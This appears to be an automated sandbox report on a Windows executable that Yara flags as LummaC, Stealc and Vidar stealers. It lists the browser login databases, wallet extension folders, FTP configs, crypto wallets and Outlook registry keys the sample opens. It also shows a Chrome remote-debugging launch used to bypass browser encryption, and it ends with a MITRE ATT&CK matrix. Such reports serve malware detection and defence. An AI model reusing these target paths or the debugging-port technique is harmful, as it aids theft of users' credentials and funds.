Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2076935503.0000000001580000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2080146101.000000000157C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2075716472.0000000001580000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2108357637.000000000157D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2092068807.0000000001589000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2123407217.0000000001580000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2107271812.0000000001577000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2123243213.0000000001580000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2h6379.exe PID: 5700, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2h6379.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 26.2.3S96n.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.2h6379.exe.6910000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2802210012.0000000006911000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2810499954.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2851008315.0000000000551000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2257337140.0000000008E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2h6379.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3S96n.exe PID: 8096, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2h6379.exe PID: 5700, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	Logon Script (Windows)	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	238 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
